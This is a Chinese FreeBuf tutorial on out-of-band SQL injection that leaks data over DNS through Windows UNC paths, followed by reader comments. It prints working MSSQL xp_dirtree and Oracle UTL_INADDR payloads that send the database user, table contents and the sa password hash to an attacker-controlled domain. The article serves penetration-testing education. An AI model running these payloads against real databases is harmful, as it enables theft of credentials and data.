*本文原创作者:温酒,本文属FreeBuf原创奖励计划,未经许可禁止转载
前言 SQL注入作为最老的漏洞之一,它的价值随着整个web的发展从来没有过时,足以证明它的地位和价值。
我和很多人聊过这个漏洞,发现很多人对这个漏洞的了解只是拿sqlmap干,好一点的还会手注,懂原理。
但是它们本身只了解到了这个漏洞的实战效果和实战需要等等,并没有深入了解这个漏洞。但是这个漏洞本身基于数据库,而数据库是很灵活的,就会发展出很多邪道。笔者最近看了很多关于sql注入的文章,发现国外已经玩出玫瑰花来了,就打算写个系列总结一下。
这篇文章的面向对象不是新手,起码你要会sql的手注,知道sql注入的原理并且熟知各大数据库的函数和特性。因为这篇文章不会讲这些东西但是又基于这些东西,不会是很难看懂的。
我的QQ:1478023488 欢迎任何人找我讨论,但是拒绝闲聊和扯淡.
OOB SQL注入类型细分,分为以下5种:
共计3大类:
- 1. Boolean-based blind SQL injection
- 2. Error-based SQL injection
- 3. UNION query SQL injection
- 4. Stacked queries SQL injection
- 5. Time-based blind SQL injection
这篇文章的主题是out of band,即OOB。
- 1. inband
- 2. inference
- 3. out of band(OOB)
它与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和UNION query SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。
而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。
(因为我喜欢php,所以用PDO作为基准,而PDO只会返回第一条SQL语句的执行结果,
所以一般不能直接拿到数据,一般都是通过update某个可见字段或者sleep注入,所以我归为inference类)
Method | requests | Time |
---|---|---|
Boolean-based blind | 29,212 | 214.04 |
Time-based (1 sec) | 32,716 | 17,720.51 |
Error-based | 777 | 9.02 |
Union (full/partial) | 3/136 | 0.70/2.50 |
DNS exfiltration | 1,409 | 35.31 |
我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。利用DNS偷走数据
当说这个之前,你需要知道DNS的原理:
实际上复杂的多,是一个分级查询。先向根域名服务器查询顶级域名服务器,然后顶级域名服务器查询次级域名,这样一层层查询下来的。
- 首先用户通过自己设置的DNS服务器查询域名
- 如果没查询到,就向上一级的DNS服务器查询,
- 上一级的DNS服务器返回查询到的DNS服务器的地址,然后向DNS服务器查询子域名,最终返回子域名的IP地址
作为攻击者,我们只能控制需要查询的域名和域名的NS服务器。域名的NS服务器可以在域名注册商那里修改,如何搭建NS服务器就不谈了。
以及还需要知道win对UNC(Universal-Naming-Convention)的内在支持,当我们尝试连接到一个UNC路径的时候,win会先查找目标域名的ip地址,用以建立连接。比如,给某个文件处理函数的文件路径是
\\admin.xiaoze.com\tops\
这种,那么win操作系统会在xiaoze.com
的dns服务器上查找admin.xiaoze.com
的域名的ip。所以我们可以通过监视dns服务器来捕获数据。那么显然,利用dns偷数据的方法,除了大家熟知的mysql+win环境可以利用,只要是有能操控文件的函数且在win环境下运行的数据库都可以利用这种方法。
比如mssql的4个文件操作函数:
函数名 | 支持的数据库版本 | 需要的参数 |
---|---|---|
xp_getfiledetails | Microsoft SQL Serves 2000 | 文件路径 |
xp_fileexist | 全系列 | 文件路径 |
xp_dirtree | 全系列 | 文件路径 |
xp_subdirs | 全系列 | 文件路径 |
declare @xiaoze char(128);
set @xiaoze='\\'+system_user+'.xiaoze.com.';
exec master..xp_dirtree @xiaoze
如果想获得sa账号的密码hash,可以使用:
declare @xiaoze varchar(128);
select @host="\\'+(select top 1
master.dbo.fn_varbintohexstr(password_hash)
from sys.sql_logins where name='sa')
+'.xiaoze.com.';
exec master..xp_dirtree @xiaoze;
因为在测试的时候发现直接使用字符串拼接会报错,所以我用了一个变量来保存路径。但是也有小伙伴测试发现直接拼接不会报错,具体情况大家自己搭建环境测试吧,我的环境是Microsoft SQL Serves 2000。
上面的语句通过文件操作函数触发了win的UNC,引发了一次DNS操作,在向我们的ns服务器查询子域名ip的时候就可以捕捉到数据。
同样,除了mssql和mysql可以利用dns偷数据,只要内置文件操作函数的数据库都可以利用。
比如Oracle,Oracle的利用比mssql简单很多。可以直接使用UTL_INADDR包(官方文档戳我),而且因为不依赖PL/SQL所以可以直接插入到子查询或者where之后。
在Oracle下想获得数据库登陆用户可以用:
select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS
((SELECT USER FROM DUAL)||'.xiaoze.com'
其他的比如MySQL和PostgreSQL也是一样的原理,我就不浪费篇幅了。
实际问题 这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。所以我上面的中间变量长度都是128。同时也不能出现非法字符,否则也会失败。
一般会把希望传递的数据转化成能被dns正确处理的格式,比如变成16进制。mssql内置了一个名为
fn_varbintohexstr
的函数,它接收一个字符串作为参数并返回这个字符串的16进制表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))
。这句sql语句执行的结果是0x73006100
,也就是sa的unicode编码后的样子。接下来就是长度问题,因为经过上面的16进制编码之后,128个字符的空间就显的太少了,很容易就超出。这样要么我们只能收到前128个字符,剩下的就被丢掉了,也可能干脆直接失败。128包括完整的整个请求,包括前面的
\\
和结尾的com.
这点尤为注意。同时一个标识符占用128个字符是非法的,最多不能超过63个字符,比如com
就是一个标签符,它占用3个字符。具体的解释请打开《TCP/IP详解–卷1:协议》(机器工业出版社第一版)的第146页中间的图14-6那段。为了能正常完整的偷取数据,我们需要对数据进行编码,并且不能超过63个字节。编码可以用
fn_varbintohexstr
函数解决。长度可以用substring
函数截取控制长度。完整且能保证稳定的利用语句:
declare @xiaoze char(128);
select @xiaoze='\\'+master.dbo.fn_varbintohexstr(
CAST(SUBSTRING((SELECT TOP 1
CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS
VARBINARY(255)))+'.XiaoZeLoveLMZ.com.';
EXEC master..xp_dirtree @xiaoze;
由于dns查询会先查看本地缓存,所以为了能成功发出查询,建议在请求中加入一些随机值,比如我在我自己写的工具里面,随机值是我老婆每个月的月经时间,每次向后推两天,幸好她的月经时间不固定,否则我只能随机她生气的时间了。比如她看到这段话的时候?
结语 实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。
参考文章
在SQL注入中使用DNS获取数据Data Retrieval over DNS in SQL Injection Attacks万能且最厉害以及最帅气还有单身时间最久的咸鱼师傅TCP/IP详解–卷1:协议–第14章DNS域名系统What is Universal Naming Convention (UNC)?SQL注入攻击与防御(第2版)以及无数被我看过的文章*本文原创作者:温酒,本文属FreeBuf原创奖励计划,未经许可禁止转载
文章图片
温酒 2 篇文章 等级: 3级| |
- 上一篇:Wolf CMS 新旧两个版本中的文件上传漏洞分析
- 下一篇: Gadget构造:从JIT-ROP到对抗XnR
-
文章图片
1232017-07-04 回复 3楼 前提是:服务器能连外网
管理严格的甲方,服务器是不允许上外网的(连DNS都只能请求特定的几个域名)
亮了( 3) -
文章图片
Limerain2017-07-04 回复 4楼 小编是不是手滑打错了:“比如Error-based SQL injection和Error-based SQL injection都是属于inband类”
亮了( 0) -
文章图片
ANan安安安安安安安2017-07-04 回复 6楼 计科有什么好的毕设推荐
亮了( 0)
推荐阅读
- mysql|InnoDB数据页结构
- javaweb|基于Servlet+jsp+mysql开发javaWeb学生成绩管理系统
- mysql|一文深入理解mysql
- Java毕业设计项目实战篇|Java项目:在线嘿嘿网盘系统设计和实现(java+Springboot+ssm+mysql+maven)
- SQL|SQL基本功(五)--函数、谓词、CASE表达式
- vue|电商后台管理系统(vue+python|node.js)
- Java及基础算法及数据结构|旧笔记整理(MySQL)
- mysql|双非本211硕,无实习无项目,自学大数据开发,秋招上岸
- 数据库|Mysql--InnoDB存储引擎详解
- MySQL学习笔记-9-order by